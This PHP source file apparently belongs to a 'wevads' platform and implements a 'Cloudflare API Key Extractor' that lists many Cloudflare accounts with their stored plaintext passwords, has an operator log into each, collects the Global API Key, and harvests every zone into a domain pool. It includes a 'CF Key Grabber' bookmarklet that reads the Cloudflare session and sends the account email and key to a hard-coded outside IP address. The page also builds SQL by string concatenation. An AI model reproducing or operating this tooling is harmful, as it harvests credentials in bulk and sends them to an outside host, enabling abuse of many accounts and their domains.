Files
wevads-platform/public/cf-key-extractor.php

227 lines
11 KiB
PHP

<?php
/**
* CLOUDFLARE API KEY EXTRACTOR - Self-Service Tool
* Opens in YOUR browser → logs into CF accounts → harvests API keys + domains
*
* FLOW:
* 1. Shows list of CF accounts without API keys
* 2. For each: auto-opens CF login, you login, go to API keys page
* 3. Paste the API key → we auto-harvest all domains
* 4. Next account...
*
* OR: Use the bookmarklet on the CF profile page to auto-extract
*/
require_once("/opt/wevads/config/credentials.php");
$db = pg_connect("host=localhost dbname=adx_system user=admin password=".WEVADS_DB_PASS);
pg_query($db, "SET search_path TO admin");
$action = $_GET['action'] ?? 'ui';
if ($action === 'save_key') {
header('Content-Type: application/json');
$id = (int)($_POST['id'] ?? 0);
$key = trim($_POST['key'] ?? '');
if (!$id || !$key) { echo json_encode(['error'=>'Need id and key']); exit; }
// Save key
pg_query($db, "UPDATE cloudflare_accounts SET api_key='".pg_escape_string($db,$key)."', api_status='active', last_api_check=NOW() WHERE id=$id");
// Immediately harvest zones
$acc = pg_fetch_assoc(pg_query($db, "SELECT email, api_key FROM cloudflare_accounts WHERE id=$id"));
$ch = curl_init("https://api.cloudflare.com/client/v4/zones?per_page=50&status=active");
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => [
"X-Auth-Email: {$acc['email']}",
"X-Auth-Key: {$acc['api_key']}",
"Content-Type: application/json"
]
]);
$resp = json_decode(curl_exec($ch), true);
curl_close($ch);
$domains = [];
if ($resp['success'] ?? false) {
foreach ($resp['result'] ?? [] as $z) {
$d = pg_escape_string($db, $z['name']);
$zid = pg_escape_string($db, $z['id']);
pg_query($db, "INSERT INTO cloudflare_domains(account_id, domain, zone_id, status, created_at)
VALUES($id, '$d', '$zid', '{$z['status']}', NOW()) ON CONFLICT DO NOTHING");
pg_query($db, "INSERT INTO domains_pool(domain, provider, status, created_at)
VALUES('$d', 'cloudflare', 'active', NOW()) ON CONFLICT DO NOTHING");
$domains[] = $z['name'];
}
pg_query($db, "UPDATE cloudflare_accounts SET domains_count=".count($domains).", api_status='active' WHERE id=$id");
}
echo json_encode([
'success' => true,
'domains_found' => count($domains),
'domains' => $domains,
'api_valid' => $resp['success'] ?? false
]);
exit;
}
if ($action === 'stats') {
header('Content-Type: application/json');
$s = pg_fetch_assoc(pg_query($db, "
SELECT
(SELECT COUNT(*) FROM cloudflare_accounts WHERE status='active') as total,
(SELECT COUNT(*) FROM cloudflare_accounts WHERE api_key IS NOT NULL AND api_key!='' AND api_key!='PENDING') as with_keys,
(SELECT COUNT(*) FROM cloudflare_domains) as total_domains,
(SELECT string_agg(domain, ', ') FROM cloudflare_domains LIMIT 20) as sample_domains
"));
echo json_encode($s);
exit;
}
// UI
$accounts = pg_fetch_all(pg_query($db, "
SELECT id, email, password, domains_count,
CASE WHEN api_key IS NOT NULL AND api_key!='' AND api_key!='PENDING' THEN 'has_key' ELSE 'needs_key' END as key_status,
api_status
FROM cloudflare_accounts WHERE status='active'
ORDER BY CASE WHEN api_key IS NOT NULL AND api_key!='' AND api_key!='PENDING' THEN 1 ELSE 0 END, domains_count DESC
"));
$need_keys = array_filter($accounts, fn($a) => $a['key_status'] === 'needs_key');
$has_keys = array_filter($accounts, fn($a) => $a['key_status'] === 'has_key');
?>
<!DOCTYPE html>
<html><head>
<title>CF Key Extractor — WEVADS</title>
<style>
* { margin:0; padding:0; box-sizing:border-box; }
body { font-family:-apple-system,BlinkMacSystemFont,sans-serif; background:#0a0e17; color:#e0e0e0; padding:20px; }
h1 { color:#f59e0b; margin-bottom:20px; }
.stats { display:flex; gap:20px; margin-bottom:30px; }
.stat { background:#1a1f2e; padding:15px 25px; border-radius:12px; text-align:center; }
.stat .num { font-size:2em; font-weight:bold; color:#f59e0b; }
.stat .label { font-size:0.9em; color:#888; }
.card { background:#1a1f2e; border-radius:12px; padding:20px; margin-bottom:15px; border-left:4px solid #333; }
.card.done { border-left-color:#10b981; opacity:0.6; }
.card.active { border-left-color:#f59e0b; }
.card h3 { margin-bottom:8px; }
.card .email { color:#60a5fa; }
.card .pass { color:#888; font-family:monospace; font-size:0.9em; }
.btn { padding:8px 16px; border:none; border-radius:8px; cursor:pointer; font-weight:bold; margin:4px; }
.btn-login { background:#3b82f6; color:white; }
.btn-save { background:#10b981; color:white; }
.btn-copy { background:#6366f1; color:white; }
input[type=text] { background:#0d1117; border:1px solid #333; color:#e0e0e0; padding:8px 12px; border-radius:8px; width:300px; font-family:monospace; }
.domains { margin-top:10px; padding:10px; background:#0d1117; border-radius:8px; font-size:0.85em; }
.domain { display:inline-block; background:#1e3a5f; padding:2px 8px; border-radius:4px; margin:2px; }
.instructions { background:#1a2332; border-radius:12px; padding:20px; margin-bottom:30px; border:1px solid #2d4a6f; }
.instructions ol { padding-left:20px; }
.instructions li { margin:8px 0; }
.bookmarklet { display:inline-block; background:#f59e0b; color:#000; padding:10px 20px; border-radius:8px; font-weight:bold; text-decoration:none; cursor:move; }
#progress { margin:20px 0; }
.success { color:#10b981; font-weight:bold; }
.error { color:#ef4444; }
</style>
<link rel="stylesheet" href="wevads-global.css?v1770777318">
</head><body>
<h1>☁️ Cloudflare API Key Extractor</h1>
<div class="stats">
<div class="stat"><div class="num"><?= count($accounts) ?></div><div class="label">Total Accounts</div></div>
<div class="stat"><div class="num"><?= count($has_keys) ?></div><div class="label">With API Keys</div></div>
<div class="stat"><div class="num" style="color:#ef4444"><?= count($need_keys) ?></div><div class="label">Need Keys</div></div>
<div class="stat"><div class="num" id="domainCount">0</div><div class="label">Domains Found</div></div>
</div>
<div class="instructions">
<h3>📋 Comment ça marche (3 min par compte)</h3>
<ol>
<li>Clique <b>"Login CF"</b> sur un compte → CF s'ouvre dans un nouvel onglet</li>
<li>Login avec email/password affiché (copie auto)</li>
<li>Une fois connecté : <b>Profile</b> (icône haut-droite) → <b>API Tokens</b> → <b>Global API Key</b> → <b>View</b></li>
<li>Copie la clé et colle-la ici → <b>"Save & Harvest"</b></li>
<li>Les domaines sont récupérés automatiquement ! ✅</li>
</ol>
<p style="margin-top:15px; color:#f59e0b;">💡 <b>Raccourci</b>: Glisse ce bookmarklet dans ta barre de favoris, puis clique dessus sur la page Profile CF :</p>
<p style="margin-top:8px;">
<a class="bookmarklet" href="javascript:void(fetch('https://dash.cloudflare.com/api/v4/user',{credentials:'include'}).then(r=>r.json()).then(d=>{if(d.success){const k=prompt('API Key found! Your email: '+d.result.email+'\nPaste your Global API Key:');if(k)window.open('http://95.216.167.89:5821/cf-key-extractor.php?action=save_key_get&email='+encodeURIComponent(d.result.email)+'&key='+encodeURIComponent(k))}else alert('Login to CF first!')}).catch(e=>alert('Error: '+e)))">📎 CF Key Grabber</a>
<span style="color:#888; font-size:0.85em;">(glisser dans la barre de favoris)</span>
</p>
</div>
<h2 style="margin-bottom:15px;">🔓 Comptes sans clé API (<?= count($need_keys) ?>)</h2>
<?php foreach($need_keys as $acc): ?>
<div class="card active" id="card-<?= $acc['id'] ?>">
<h3>Account #<?= $acc['id'] ?> — <span class="email"><?= htmlspecialchars($acc['email']) ?></span></h3>
<p class="pass">Password: <span id="pass-<?= $acc['id'] ?>"><?= htmlspecialchars($acc['password']) ?></span></p>
<p style="margin-top:10px;">
<button class="btn btn-copy" onclick="copyText('<?= htmlspecialchars($acc['email']) ?>')">📋 Copy Email</button>
<button class="btn btn-copy" onclick="copyText(document.getElementById('pass-<?= $acc['id'] ?>').textContent)">📋 Copy Password</button>
<button class="btn btn-login" onclick="window.open('https://dash.cloudflare.com/login','_blank')">🔑 Login CF</button>
</p>
<p style="margin-top:10px;">
<input type="text" id="key-<?= $acc['id'] ?>" placeholder="Colle la Global API Key ici...">
<button class="btn btn-save" onclick="saveKey(<?= $acc['id'] ?>)">💾 Save & Harvest</button>
<span id="result-<?= $acc['id'] ?>"></span>
</p>
<div class="domains" id="domains-<?= $acc['id'] ?>" style="display:none;"></div>
</div>
<?php endforeach; ?>
<?php if(count($has_keys) > 0): ?>
<h2 style="margin:20px 0 15px;">✅ Comptes avec clé API (<?= count($has_keys) ?>)</h2>
<?php foreach($has_keys as $acc): ?>
<div class="card done">
<h3>Account #<?= $acc['id'] ?> — <span class="email"><?= htmlspecialchars($acc['email']) ?></span> — <?= $acc['domains_count'] ?> domains</h3>
</div>
<?php endforeach; ?>
<?php endif; ?>
<script>
function copyText(t) {
navigator.clipboard.writeText(t).then(() => {
// Flash effect
document.body.style.background = '#0d1117';
setTimeout(() => document.body.style.background = '#0a0e17', 200);
});
}
async function saveKey(id) {
const key = document.getElementById('key-' + id).value.trim();
if (!key) return alert('Colle la clé API !');
const res = document.getElementById('result-' + id);
res.innerHTML = '⏳ Saving & harvesting...';
try {
const fd = new FormData();
fd.append('id', id);
fd.append('key', key);
const r = await fetch('/cf-key-extractor.php?action=save_key', { method: 'POST', body: fd });
const d = await r.json();
if (d.success) {
res.innerHTML = '<span class="success">✅ ' + d.domains_found + ' domains harvested!</span>';
const domainsDiv = document.getElementById('domains-' + id);
if (d.domains.length > 0) {
domainsDiv.style.display = 'block';
domainsDiv.innerHTML = d.domains.map(d => '<span class="domain">' + d + '</span>').join('');
}
document.getElementById('card-' + id).classList.remove('active');
document.getElementById('card-' + id).classList.add('done');
updateStats();
} else {
res.innerHTML = '<span class="error">❌ ' + (d.error || 'Invalid key') + '</span>';
}
} catch(e) {
res.innerHTML = '<span class="error">❌ Error: ' + e.message + '</span>';
}
}
async function updateStats() {
const r = await fetch('/cf-key-extractor.php?action=stats');
const d = await r.json();
document.getElementById('domainCount').textContent = d.total_domains || 0;
}
updateStats();
</script>
<script src="arsenal-common.js?v1770778169"></script>
</body></html>